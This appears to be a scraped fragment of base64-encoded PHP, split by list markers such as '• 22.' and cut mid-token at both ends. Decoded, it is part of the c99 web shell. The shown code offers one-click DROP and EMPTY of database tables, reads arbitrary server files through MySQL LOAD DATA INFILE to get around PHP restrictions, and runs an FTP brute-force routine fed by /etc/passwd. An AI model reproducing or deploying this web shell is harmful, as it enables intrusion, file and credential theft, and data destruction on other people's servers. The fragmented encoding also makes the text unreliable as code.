bG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMDAz MzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBl PVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxj ZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48 Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+ PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQog ICAgICAkaSA9IDA7DQogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOw0KICAgICAgd2hpbGUgKCRy b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQog ICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07DQogICAgICAgJHRyb3dzICs9ICRy b3dbIlJvd3MiXTsNCiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJd KTsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJj aGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwv dGQ+IjsNCg0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9 JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3
  • 22. ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwu c3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1 bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIn O2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3Vt ZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiInO2RvY3Vt ZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3Rk PiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7DQogICAgICAgZWNo byAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1si Q3JlYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlVwZGF0ZV90 aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOw0KDQogICAg ICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5h Y3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9J3F1ZXJ5Jztkb2N1bWVu dC5zcWwuc3FsX3F1ZXJ5LnZhbHVlPSciLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1si TmFtZSJdLiJgIikuIic7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lh bGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZh bHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxf cG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3Fs LnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnN1Ym1p dCgpO1wiPjxiPkVNUFQ8L2I+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1c ImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9 J3F1ZXJ5Jztkb2N1bWVudC5zcWwuc3FsX3F1ZXJ5LnZhbHVlPSciLnVybGVuY29kZSgiRFJPUCBU QUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVl PSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNz d2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3Fs LnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9j dW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4i Jztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1 bWVudC5zcWwuc3VibWl0KCk7XCI+PGI+RFJPUDwvYj48L2E+Jm5ic3A7PGEgaHJlZj1cIiNcIiBv bmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX3Ri bC52YWx1ZT0nIi4kcm93WyJOYW1lIl0uIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfYWN0LnZhbHVl PSdpbnNlcnQnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3Bl Y2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0n Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxf ZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtc Ij48Yj5JTlM8L2I+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAg ICAgJGkrKzsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsN CiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPrs8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAg ZWNobyAiPHRkPjxjZW50ZXI+PGI+Ii4kaS4iIHRhYmxlKHMpPC9iPjwvY2VudGVyPjwvdGQ+IjsN CiAgICAgIGVjaG8gIjx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0 ZD4iLiRyb3dbMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7 DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxi PiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PC90ZD4i Ow0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFc IiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsN CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7 DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0K ICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOw0K ICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsNCiAg ICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+ IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRh YmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5S ZXBhaXIgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFu YWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZu YnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4i Ow0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgIH0NCiAgICB9DQogICB9 DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNl
  • 23. cnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7DQogICBpZiAo aW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKSB7Pz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAw JSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5l dyBEQjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJh Y3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVl PSJuZXdkYiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9w aHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9Imhp ZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFy cygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVy IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxp bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1s c3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3Fs X25ld2RiIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0 ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxlOjwv Yj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFs dWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImdldGZp bGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVj aG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4i IG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNx bF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFs dWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQg dHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNp YWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRm aWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dl dGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3Jt PjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9 IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRk IHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQ0KICAgaWYg KCFlbXB0eSgkc3FsX2FjdCkpDQogICB7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFk ZT4iOw0KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3ZGIiKQ0KICAgIHsNCiAgICAgZWNobyAiPGI+ IjsNCiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgk c3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4i XCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30NCiAgICAgZWxzZSB7 ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJc Ii48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgIH0NCiAgICBpZiAo JHNxbF9hY3QgPT0gInNlcnZlcnN0YXR1cyIpDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxf cXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5T ZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUg Y2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxp Z2h0PSMwMDMzMDAgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+ PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3Vs dCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3db MV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOw0KICAgICBt eXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJz ZXJ2ZXJ2YXJzIikNCiAgICB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBWQVJJ QUJMRVMiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJs ZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBh ZGRpbmc9MCBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jMDAzMzAwIGJvcmRlcj0x Pjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3 aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hv ICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9DQog ICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQog ICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAicHJvY2Vzc2VzIikNCiAgICB7DQogICAgIGlmICgh ZW1wdHkoJGtpbGwpKSB7JHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7ICRyZXN1bHQgPSBteXNx bF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7IGVjaG8gIjxiPktpbGxpbmcgcHJvY2VzcyAjIi4k a2lsbC4iLi4uIG9rLiBoZSBpcyBkZWFkLCBhbWVuLjwvYj4iO30NCiAgICAgJHJlc3VsdCA9IG15 c3FsX3F1ZXJ5KCJTSE9XIFBST0NFU1NMSVNUIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNl bnRlcj48Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxT cGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0j
  • 24. MzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3RkPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRk PjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD48dGQ+PGI+Q09NTUFORDwvYj48L3Rk Pjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjwvdGQ+PHRkPjxiPklORk88L2I+ PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15 c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZWNobyAiPHRyPjx0ZD4iLiRy b3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48dGQ+Ii4kcm93WzJdLiI8L3RkPjx0ZD4i LiRyb3dbM10uIjwvdGQ+PHRkPiIuJHJvd1s0XS4iPC90ZD48dGQ+Ii4kcm93WzVdLiI8L3RkPjx0 ZD4iLiRyb3dbNl0uIjwvdGQ+PHRkPiIuJHJvd1s3XS4iPC90ZD48dGQ+PGEgaHJlZj1cIiNcIiBv bmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xv Z2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3Fs LnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9j dW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZl cikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNx bF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ncHJvY2Vzc2VzJztkb2N1bWVu dC5zcWwua2lsbC52YWx1ZT0nIi4kcm93WzBdLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48 dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAg bXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAi Z2V0ZmlsZSIpDQogICAgew0KICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOw0KICAg ICAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7DQogICAgIGlmICghJHNlbGVjdCkg e215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBk Yik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30NCiAgICAgaWYgKCRzZWxlY3QpDQogICAgIHsNCiAg ICAgICRjcmVhdGVkID0gRkFMU0U7DQogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0 bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBM T05HQkxPQiBOT1QgTlVMTCApOyIpOw0KICAgICAgbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJ TEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIp Ow0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIp Ow0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChw ZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZm9y ICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxf ZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9DQogICAgICAgJGYgPSAiIjsNCiAgICAgICB3aGlsZSAo JHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkgeyRmIC49IGpv aW4gKCJcclxuIiwkcm93KTt9DQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUg XCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9 DQogICAgICAgZWxzZSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIjo8L2I+PGJy PiIubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkZikpLiI8YnI+Ijt9DQogICAgICAgbXlzcWxfZnJl ZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2Zp bGU7Iik7DQogICAgICB9DQogICAgIH0NCiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOyAvL2Nv bW1lbnQgaXQgaWYgeW91IHdhbnQgdG8gbGVhdmUgZGF0YWJhc2UNCiAgICB9DQogICB9DQogIH0N CiB9DQogZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiBpZiAoJHNxbF9zb2NrKQ0KIHsNCiAg JGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsNCiAgaWYgKCghaXNf bnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQ0K ICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93czogIi4kYWZmZWN0ZWQuIjwv Y2VudGVyPjwvdGQ+PC90cj4iOw0KIH0NCiBlY2hvICI8L3RhYmxlPiI7DQp9DQppZiAoJGFjdCA9 PSAibWtkaXIiKQ0Kew0KIGlmICgkbWtkaXIgIT0gJGQpDQogew0KICBpZiAoZmlsZV9leGlzdHMo JG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2Rpciku IlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGlzdHMiO30NCiAgZWxzZWlmICghbWtkaXIoJG1rZGly KSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9i PjogYWNjZXNzIGRlbmllZCI7fQ0KICBlY2hvICI8YnI+PGJyPiI7DQogfQ0KICRhY3QgPSAkZHNw YWN0ID0gImxzIjsNCn0NCmlmICgkYWN0ID09ICJmdHBxdWlja2JydXRlIikNCnsNCiBlY2hvICI8 Yj5GdHAgUXVpY2sgYnJ1dGU6PC9iPjxicj4iOw0KIGlmICghd2luKSB7ZWNobyAiVGhpcyBmdW5j dGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQ0KIGVsc2UNCiB7DQogIGZ1bmN0 aW9uIGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRz aCwkZnFiX29ubHl3aXRoc2gpDQogIHsNCiAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskVFJVRSA9 ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQ0K ICAgZWxzZSB7JFRSVUUgPSBUUlVFO30NCiAgIGlmICgkVFJVRSkNCiAgIHsNCiAgICAkc29jayA9 IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7DQogICAgaWYgKEBmdHBfbG9naW4o JHNvY2ssJGxvZ2luLCRwYXNzKSkNCiAgICB7DQogICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8i LiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25u ZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3Jk
  • 25. IFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsNCiAgICAgb2JfZmx1c2goKTsNCiAgICAgcmV0 dXJuIFRSVUU7DQogICAgfQ0KICAgfQ0KICB9DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogIHsN CiAgIGlmIChpc3NldCgkX1BPU1RbJ2ZxYl9sZW5naHQnXSkpICRmcWJfbGVuZ2h0ID0gJF9QT1NU WydmcWJfbGVuZ2h0J107DQogICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9s ZW5naHQgPSAkbml4cHdkcGVycGFnZTt9DQogICAkZnAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCJy Iik7DQogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IGdldCAvZXRjL3Bhc3N3ZCBmb3IgcGFzc3dv cmQtbGlzdC4iO30NCiAgIGVsc2UNCiAgIHsNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydmcWJfbG9n Z2luZyddKSkgJGZxYl9sb2dnaW5nID0gJF9QT1NUWydmcWJfbG9nZ2luZyddOw0KICAgIGlmICgk ZnFiX2xvZ2dpbmcpDQogICAgew0KICAgICBpZiAoaXNzZXQoJF9QT1NUWydmcWJfbG9nZmlsZSdd KSkgJGZxYl9sb2dnaW5nID0gJF9QT1NUWydmcWJfbG9nZmlsZSddOw0KICAgICBpZiAoJGZxYl9s b2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30NCiAgICAgZWxz 